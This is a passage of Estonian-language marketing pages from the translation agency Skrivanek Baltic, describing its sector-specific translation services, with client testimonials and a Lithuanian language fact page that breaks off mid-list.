VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring REKLAAMTEKSTI TÕLKIMINE Reklaamtekstide tõlkimine on tihedalt seotud tõlkijate keelelise loovusega. Eriti just reklaamtekstides pannakse suurt rõhku väljendusrikkusele, kõlavusele, arusaadavusele ja stiilile. Reklaami tekst on selle kõige olulisem element, sest sellest sõltub, kuidas reklaam tarbijale mõjub. Reklaamtekstidel on eriline semantiline alltekst; nendes kasutatakse kõikvõimalikke kunstilisi väljendusvahendeid, millest levinumad on metafoorid, epiteedid, hüperboolid, personifikatsioonid ja retoorilised küsimused. Siiski tuleb olla ettevaatlik emotsionaalselt negatiivse alatooniga sõnade kasutamisega. Reklaamtekstides kasutatakse sageli probleemilahenduse mudelit, st reklaam määratleb probleemi ja pakub seejärel imelise lahenduse, veendes tarbijaid toote vajalikkuses. Reklaamtekstide loomisel, tõlkimisel ja hilisemal kohandamisel tuleb meeles pidada, et reklaam ei tohiks olla tekstiga üle koormatud. Tekst peab koosnema lühikestest, täpsetest ja hästi struktureeritud lausetest. Reklaamtekstid ei tohiks olla mitmetähenduslikud ega ebaselged. Tõlkijad peavad reklaamteksti pealkirjade ja lööklausetega töötades olema väga hoolikad, et toote olemus õigesti välja tuua – pealkiri on sageli ainus, mida tarbija loeb. REKLAAMTEKSTI TÕLGETE TÜÜBID reklaamteksti tõlkimine ja kohandamine; veebisaidi või kodulehe tõlked; video- ja audioreklaami tõlked; reklaami lööklausete tõlked; plakati tõlked; reklaambrošüüride tõlked; sihtlehe tõlked. REKLAAMTEKSTI TÕLGETE OMADUSED Reklaamtekstide tõlkimisel tuleb erilist tähelepanu pöörata pöördumise vormile, järelsõnale ja nende deminutiivi kasutamisele. Pidage meeles, et tõlketekst ei tohi olla tajutav eraldiseisvana selle visuaalsetest või helilistest elementidest; koos moodustavad need harmoonilise reklaami. Värvid ja kirjasuurus ainult täiendavad reklaami emotsionaalset tajumist. Reklaamteksti tõlkimisel on oluline arvestada sihtrühma rahvusliku mõtteviisi iseärasuste, arhetüüpide ja stereotüüpidega, sest kultuuriliste väärtuste mitmekesisus võib esile kutsuda negatiivseid reaktsioone. Tõlke puhul on oluline, et säiliks sellesse kodeeritud algne alltekst ehk emotsionaalne seos, mis edastab reklaami sihtrühmale. Seega on reklaami kohandamisel konkreetse piirkonna jaoks äärmiselt oluline arvestada iga seosega, mida tekst võib esile kutsuda. Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- > Keelelahendused riigi- ja munitsipaalasutuste jaoks: kirjalik ja suuline tõlge, notariaalselt kinnitatud tõlked ja keeleõpe. - Published: 2022-05-18 - Modified: 2024-06-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/ - Translation Priorities: Optional Avaliku sektori asutuste tegevus toetub kiirele suhtlusele töötajate vahel ning samuti teabevahetusele välispartnerite ja üldsusega. Selgelt ja õigel ajal antud teave lihtsustab riigi- ja omavalitsusasutuste tööd. See on põhjus, miks koostöö Skrivanekiga on teile kasulik. Veendumaks, et teave jõuab selle sihtrühmani, tuleb seda jagada täpselt, õigel ajal ning eri keeltes ja vormingutes. Skrivaneki tõlkijad teostavad tõlkeid igas vormingus, mis on vajalik haldussüsteemi või kvaliteedijuhtimise toimimiseks, tagades IT-süsteemidele vastavuse ning toetudes koostööle ja suhtlusele ELi institutsioonidega. Meie keelespetsialistid võivad samuti aidata kaasa teie piirkondlikus omavalitsuses turismi arendamisele, pakkudes kvaliteetseid tõlkeid eri turismiobjekte käsitlevatele teabetekstidele. Samuti võime panustada teie piirkondliku äritegevuse edendamisse, valmistades ette materjale, mis on ette nähtud välisinvestorite ligitõmbamiseks. Üldusega suhtlemiseks osutame erinevat liiki suulise tõlke teenuseid. Tänu oma laiaulatuslikule kogemusele oleme suutelised teostama teie asutuse igapäevatööks vajalikke tõlkeid. Kui soovite hinnata oma võimalike töötajate keeleoskust, on meie asjakohane keelepädevuse kontrollimise vahend FOCUS just see, mida vajate. Veelgi enam, meie spetsialistid võivad teile tööintervjuude ajal abi pakkuda, määrates kindlaks kandidaatide keeleoskuse taseme. SKRIVANEK PAKUB RIIGI- JA OMAVALITSUSASUTUSTELE KÕIGIS LEVINUMATES EUROOPA KEELTES JÄRGMISEID TEENUSEID: veebilehtede lokaliseerimine ning erinevate teabematerjalide ja esitluste tõlkimine; veebipõhine keeleoskuse kontrollimise vahend FOCUS; sünkroon- või järeltõlge erinevateks üritusteks ja avalikkusega suhtlemisel; erineva intensiivsusega keeleõpe kõigile keeleoskuse tasemetele; lepingute, seaduste ja õigusaktide tõlkimine; muud tõlketeenused vastavalt teie asutuse vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- - Published: 2022-05-18 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/ - Translation Priorities: Optional Tehnoloogia- ja raudteesektoris on täpsus ja punktuaalsus väga olulised tegurid. Teate kindlasti suurepäraselt, et neis valdkondades ei ole mis tahes normist kõrvalekalded lubatud, ja vajate koostööpartnerit, kes suhtub talle usaldatud ülesannetesse äärmise vastutustundega. Veelgi enam, arvestades nende valdkondade üleilmset tähtsust, mitmekesisust ja kõrget lisandväärtust, vajavad ka koostööpartnerid sel alal põhjalikke teadmisi ning kogemust. Et tagada oma igapäevatöös kvaliteet ja tootlikkus, kasutame uusimaid tehnoloogialahendusi – toetame teid igal sammul teie teel tõelise edu poole. 20 aasta jooksul on Skrivaneki keelespetsialistid teostanud tehnoloogia- ja raudteesektori valdkonnas lugematul hulgal tõlkeid ja viinud ellu suurel arvul lokaliseerimisprojekte. Praegu oleme ka aktiivselt seotud Baltikumi-ülese raudteetaristu arendusprojekti elluviimisega. Võime kindlalt väita, et meil on kõnealustes sektorites laiaulatuslik kogemus ja vajalikud tehnilised teadmised ning peame tähtaegadest rangelt kinni. Kui vajate oma dokumendile kirjalikku tõlget või soovite ärikohtumisele tellida suulist tõlki, võite olla kindel, et Skrivaneki meeskond ei vea teid alt. Skrivaneki keelespetsialistid teostavad kvaliteetseid tõlkeid kõigile meile usaldatud materjalidele, sealhulgas ametlikud väljaanded, lepingud, pakkumusdokumendid ja -kirjeldused, erinevad turundustekstid ja muud materjalid, mille tõlkimist vajate. Meie keelespetsialistide meeskonda on kaasatud mitte üksnes filoloogiaharidusega inimesed, vaid ka inseneriteadustes pädevad eksperdid, mis on õige terminoloogia kasutamise seisukohast ülioluline. Metallitootmine ja -töötlemine, masina- ja masinatarvikute ehitus, sõidukite, sealhulgas autode ja haagiste tootmine, süsteemi märguanded, seadmete remont, elektri- ja optiliste seadmete valmistamine, samuti kõik erinevad raudteetööstuse, tehnoloogia ja metallitöötlemise aspektid – meie keelespetsialistid omavad kõigis neis valdkondades vajalikke teadmisi, et pakkuda teile kvaliteetseid tõlkeid. SKRIVANEK PAKUB TEHNOLOOGIA- JA RAUDTEEVALDKONNAS KÕIGIS LEVINUMATES EUROOPA KEELTES JÄRGMISI KEELELAHENDUSI: tootekirjelduste tõlkimine ja lokaliseerimine; paigaldus- ja kasutusjuhendite ning süsteemi märguannete tõlkimine; ärikirjavahetuse tõlkimine, kasutades asjakohast terminoloogiat; reklaamtekstide, turundusmaterjalide ja aastaaruannete tõlkimine; sünkroon- või järeltõlge erinevateks üritusteks, sealhulgas seminarid, konverentsid ja ärikohtumised; eri tasemel ja erineva intensiivsusega keeleõpe; DTP – elektronkirjastamise lahendused materjalide nõuetekohaseks vormindamiseks; muud teenused vastavalt teie vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- - Published: 2022-05-18 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/ - Translation Priorities: Optional Turismisektor kasvab ja areneb üha kiiremini ning kõik selle valdkonna esindajad soovivad edastada oma sõnumit nii paljudes keeltes, kui see on hetkel vajalik. Turismiasjatundjatena olete teadlik, kuidas läheneda paremini reisimist armastavatele inimestele, samas oleme meie keelespetsialistid, kes võivad teie sõnumi tõlkida enam kui 110 keelde. Arvatakse, et erinevad turismialased turundus- ja reklaammaterjalid on üks enim tõlgitud tekstiliike maailmas. Just siin omab kvaliteet keskset rolli. Kas vajate oma veebilehe lokaliseerimist vastavalt kohalikele oludele? Soovite tõlkida oma turismibrošüüri? Või ehk tahaksite kohandada oma restorani menüü välismaalastest külaliste soovidele vastavaks? Me pakume palju enamat kui vaid tõlketeenuseid. Skrivaneki keelespetsialistid on juba 20 aastat osutanud turismivaldkonnas kvaliteetseid keelelahendusi – me ei piirdu vaid tekstide tõlkimisega, vaid kohandame need ka iga riigi kultuurilisele eripärale vastavaks. Võime täie kindlusega väita, et teie kliendid mõistavad teid. Olenemata sellest, kas vajate kirjalikku tõlget või soovite tellida suulise tõlke teenust erinevatele konverentsidele või rahvusvahelistele messidele – Skrivaneki meeskond aitab teid alati, leides igas olukorras just teile sobivaima lahenduse. Skrivaneki meeskond koosneb kirjalikest tõlkijatest ja suulistest tõlkidest, kes ei oma vaid filoloogiharidust, vaid ka laiaulatuslikke teadmisi ajaloost, arhitektuurist, kunstist, moest, muusikast ja gastronoomiast, mistõttu oleme just meie teie jaoks parim valik. Võõrustamine ja toitlustamine, turistide majutamine, reiside korraldamine, linnade ja piirkondlike üksuste esitlemine välisriikides – leiame asjakohases valdkonnas pädevad spetsialistid, tagamaks teie tõlgete nõuetekohase taseme. SKRIVANEK PAKUB TURISMIVALDKONNAS KÕIGIS LEVINUMATES EUROOPA KEELTES JÄRGMISI TEENUSEID: reklaami- ja turundusmaterjalide tõlkimine (lendlehed, brošüürid ja kataloogid) koos elektronkirjastamise teenusega (DTP); veebilehtede tõlkimine ja lokaliseerimine; puhkusekataloogide ja reisimarsruutide tõlkimine; audio- ja videovormingus käsiraamatute lokaliseerimine; sünkroon- või järeltõlge erinevateks üritusteks, sealhulgas rahvusvahelised kaubandusmessid, suurte turistigruppide majutuse korraldamine, seminarid ja konverentsid; erialane keeleõpe; muud tõlketeenused vastavalt teie vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- - Published: 2022-05-18 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/ - Translation Priorities: Optional Vaid tugevad ettevõtted, kes valivad hoolikalt oma koostööpartnereid, on võimelised tagama töötlevas tööstuses kõrgeima tootlikkustaseme. Ei ole oluline, kas tegelete toiduainete tootmisega või valmistate tekstiilmaterjale või muid mitte-tarbekaupu – igal juhul on järjekindel ja tõhus suhtlemine tarnijate, klientide ja partneritega keskse tähtsusega. Skrivanek aitab teie tööstusettevõtet võõrkeelses suhtluses, toetades seeläbi teie ettevõtte kasvu nii siseturul kui ka välisturgudel. Me teame, et teil on kõrged sihid ja suur potentsiaal – professionaalne sõnakasutus aitab teil need ellu viia! Kui vajate kirjalikku tõlget, soovite lokaliseerida veebilehte, saada abi meie trükiettevalmistusmeeskonnalt või kasutada suulise tõlgi teenuseid ärikohtumistel või konverentsidel, võite olla kindel, et Skrivanek ei vea teid alt. Teatame uhkusega, et meie teenuseid on kasutanud paljud töötleva tööstuse ettevõtjad, alates väikestest tehastest kuni strateegilise tähtsusega käitisteni. Soovitame teil kasutada kõiki meie keelelahendusi. Meie keelespetsialistidel on töötleva tööstuse tõlgete valdkonnas laiaulatuslik kogemus. Kuna kasutame ajakohaseid tõlketehnoloogiaid, võite meid täielikult usaldada – väljastame isegi suure mahuga tõlked väikseima võimaliku ajakuluga. Kõiki projekte kooskõlastavad vilunud projektijuhid, kes hoiavad projektide töösoleku ajal neil algusest lõpuni silma peal. Olenemata sellest, kas vajate ärilepingu, ettevõtte veebilehe, turundusmaterjali või tehniliste dokumentide tõlget või korraldate hoopis võõrkeeles läbiviidavat konverentsi – meie rahvusvahelised tõlkijad ja tõlgid on alati valmis teid aitama. SKRIVANEK PAKUB TÖÖTLEVA TÖÖSTUSE VALDKONNAS KÕIGIS LEVINUMATES EUROOPA KEELTES JÄRGMISEID KEELELAHENDUSI: erinevate digitaalsete ja trükivormingus turundusmaterjalide tõlkimine ning elektronkirjastamine, sealhulgas müügidokumendid, brošüürid, toodete teabelehed jne; juhiste ja seadmekirjelduste lokaliseerimine; tootekirjelduste ja -märgiste tõlkimine; tehniliste kirjelduste ja spetsifikatsioonide tõlkimine; kasutusjuhendite ja tehniliste sertifikaatide tõlkimine; sünkroon- või järeltõlge erinevateks üritusteks, sealhulgas konverentsid, seminarid ja ärikohtumised; keeleõpe ning eriotstarbelised seminarid teie töötajate võõrkeele- ja esitlusoskuste edendamiseks; tõlkeabi teenused välisriikidest pärit esindajatele; muud teenused vastavalt teie vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- - Published: 2022-05-18 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/ - Translation Priorities: Optional Teie tegutsemine õigusvaldkonnas mõjutab lugematul arvul teisi eluvaldkondi ja tööprotsesse, isegi inimsaatust, seega mõistate paremini kui keegi teine, kui oluline roll on õigel sõnade valikul ja väljendusviisil. Skrivaneki keelespetsialistid on õigussüsteemiga hästi kursis, tänu millele võite meie keelelahendusi kasutades keskenduda oma põhitegevusele. Kui vajate lepingute, seaduste, eeskirjade ja kohtuotsuste tõlget või soovite kohtuprotsessil kasutada suulise tõlgi teenuseid, on Skrivaneki keelespetsialistid alati teie jaoks olemas. Meie meeskonda kuuluvad spetsialistid, kes on tuttavad õigustekstide olemusega ja on võimelised algteksti tõlkimisel vastavasse võõrkeelde säilitama originaaldokumendi sisu ja selle õigusliku tähenduse. Õigustekstide ja -dokumentide tõlkimisel järgime rangelt kõiki koostamis- ja vormindamisnõudeid. Konfidentsiaalsus on meie jaoks esmatähtis mis tahes valdkonna tekstide tõlkimisel ja klientidega suhtlemises. Meil on olemas standardite ISO 27001 ja ISO 9001 kohased sertifikaadid. Oleme uhked ja tänulikud, et oleme sõlminud koostöölepingud mitmete riigi- ja omavalitsusasutuste, ELi ametite ja tuntud õigusbüroodega. SKRIVANEK PAKUB ÕIGUSVALDKONNAS KÕIGIS LEVINUMATES EUROOPA KEELTES JÄRGMISEID TÕLKETEENUSEID: õigusaktide ja nende eelnõude tõlkimine; lepingute ja nende projektide tõlkimine; kohtuasjade ja -otsuste tõlkimine; hoiatuste, nõuete ja avalduste tõlkimine; volikirjade tõlkimine; eksperdiarvamuste ja -järelduste tõlkimine; sünkroon- või järeltõlge erinevatel üritustel, sealhulgas kohtuprotsessid, ja sünkroontõlge viipekeeles; erialane keeleõpe keeleoskuse eri tasemetele; tõlkeabi teenused välisriikidest pärit esindajatele; muud keelelahendused vastavalt teie vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- > Tehniliselt täpsed tõlked ehitusalastele dokumentidele: joonised, plaanid, lepingud, eeskirjad, ehitusload, sertifikaadid ja muu. Loe lähemalt! - Published: 2022-05-16 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/ - Translation Priorities: Optional Ehitustööstuses tegutsedes olete kahtlemata teadlik sellest, kui oluline on täpsus ja tähtaegadest kinni pidamine. Olete professionaal, kes ei saa endale lubada mis tahes reeglitest kõrvalekaldumist, kuna mõistate ka kõige pisemate üksikasjade tähtsust ning eeldate, et teie koostööpartnerid on täpselt sama vastutustundlikud. Skrivanek pakub ehitusettevõtetele hoolikalt teostatud ja tehniliselt täpset kirjaliku ja suulise tõlke teenust ning teisi keelelahendusi, olles tähtaegade suhtes äärmiselt kohusetundlik. Meie meeskond koosneb ehitusvaldkonnas pädevatest ja sel alal kogemust omavatest keelespetsialistidest ning meie vilunud projektijuhid annavad endast parima, et tagada sujuv tööprotsess isegi kõige keerukamate projektide korral. Olenemata sellest, kas vajate kirjaliku tõlke teenust või olete huvitatud suulise tõlgi tellimisest oma ärikohtumistele, tagavad Skrivaneki keelespetsialistid kõrge kvaliteedi kõikvõimalike tõlgete korral, sealhulgas ametlikud trükised, hankedokumentide tingimused ja kirjeldused, erinevad turundusmaterjalid, tehnilised projektidokumendid ja mis tahes muud tõlkimist vajavad tekstid. Meie keelespetsialistide meeskonda on kaasatud mitte üksnes filoloogiaharidusega inimesed, vaid ka inseneriteadustes pädevad eksperdid, mis on õige terminoloogia kasutamise seisukohast ülioluline. Hoonete ja tee-ehitus, mitmesugused ehitustööd siseruumides, elektripaigaldised, arhitektuuriteenused või mis tahes muud ehitustööd – me pöörame eraldi tähelepanu igale üksikasjale, kuna vaid sel viisil on võimalik tagada standardile vastavad tehniliselt täpsed tõlked. Skrivanek pakub ehitusvaldkonnas kõigis levinumates Euroopa keeltes järgmiseid teenuseid: SKRIVANEK PAKUB EHITUSVALDKONNAS KÕIGIS LEVINUMATES EUROOPA KEELTES JÄRGMISEID TEENUSEID: pakkumuste ja nende eri etappidega seotud tehniliste dokumentide tõlkimine; erinevate digitaalsete ja trükivormingus turundusmaterjalide tõlkimine, sealhulgas müügidokumendid, toodete teabelehed ja brošüürid; jooniste ja plaanide tõlkimine ning kujundus, sealhulgas trükiettevalmistuslahendused (DTP); ehituslepingute, eeskirjade ja lubade tõlkimine; hinnangute ja sertifikaatide tõlkimine; arhitektuurivaldkonna tõlked; sünkroon- või järeltõlge erinevateks üritusteks, sealhulgas konverentsid, ärilõunad või -õhtusöögid ning ärikohtumised; erialane keeleõpe; muud keelelahendused vastavalt teie vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- > Asjatundlikud tõlked kreeka keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-16 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna LEEDU KEEL – FAKTID JA ARVUD Leedu keel kuulub indoeuroopa keelkonna balti keelerühma. See on Leedu ametlik keel ning vähemuskeelena kasutusel peamiselt Lätis, Eestis ja mõningal määral ka Poolas ning Valgevenes. Kokku kõneleb leedu keelt ligikaudu 3,15 miljonit inimest: 2,9 miljonit Leedus ja umbes 200 000 sellest väljaspool. Leedu keel on suguluses läti keelega. Arvatakse, et need kaks keelt kujunesid üheskoos kuni 13. sajandini ja alles pärast seda eraldusid kaheks erinevaks keeleks. Kõnealuste keelte ajalugu ulatub tagasi 3. sajandisse eKr, kui muistsed baltlased asustasid Läänemere ranniku. Leedu keele siseselt eristusid kaks peamist murret: aukštaidi ja žemaidi (Kõrg-Leedu ja Madal-Leedu). Kumbki murre koosneb kolmest alammurdest, mida saab veelgi liigitada 14 erinevaks alammurde versiooniks. Kõige varasem leedu kirjakeele näidis – liturgiline tekst – pärineb 1525. aastast, samas kui esimene trükitud raamat koostati kiriklikel eesmärkidel 1547. aastal. 16. sajandist kuni 18. sajandi lõpuni olid Leedus kasutusel kuni kolm erinevat keeleversiooni. Leedu üldkeele väljaarendamisel aukštaidi murde põhjal kandis märkimisväärset rolli Jonas Jablonskis. Leedu üldkeel moodustus ajal, mil inimesed kannatasid Venemaa Keisririigi kehtestatud venestamispoliitika karmide tingimuste all, millega oli muu hulgas ette nähtud keeld anda poole sajandi jooksul pärast aastat 1864 välja leedukeelseid raamatuid tänapäevase Leedu territooriumil. Siiski levitati neid piirkonnas salaja. Leedu keel põhineb 32 tähest koosneval ladina tähestikul. Enamik leedukeelseid laensõnasid on pärit slaavi, germaani ja teistest balti keeltest, kuid samuti soome-ugri keelterühmast. LEEDU KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL: leedu-inglise, inglise-leedu, eesti-leedu, leedu-eesti, vene-leedu, leedu-vene, poola-leedu, leedu-poola, tšehhi-leedu, leedu-tšehhi, ukraina-leedu, leedu-ukraina, saksa-leedu, leedu-saksa, prantsuse-leedu, leedu-prantsuse, hispaania-leedu, leedu-hispaania, taani-leedu, leedu-taani, rootsi-leedu, norra-leedu, leedu-norra, itaalia-leedu, leedu-itaalia, soome-leedu, leedu-soome ja 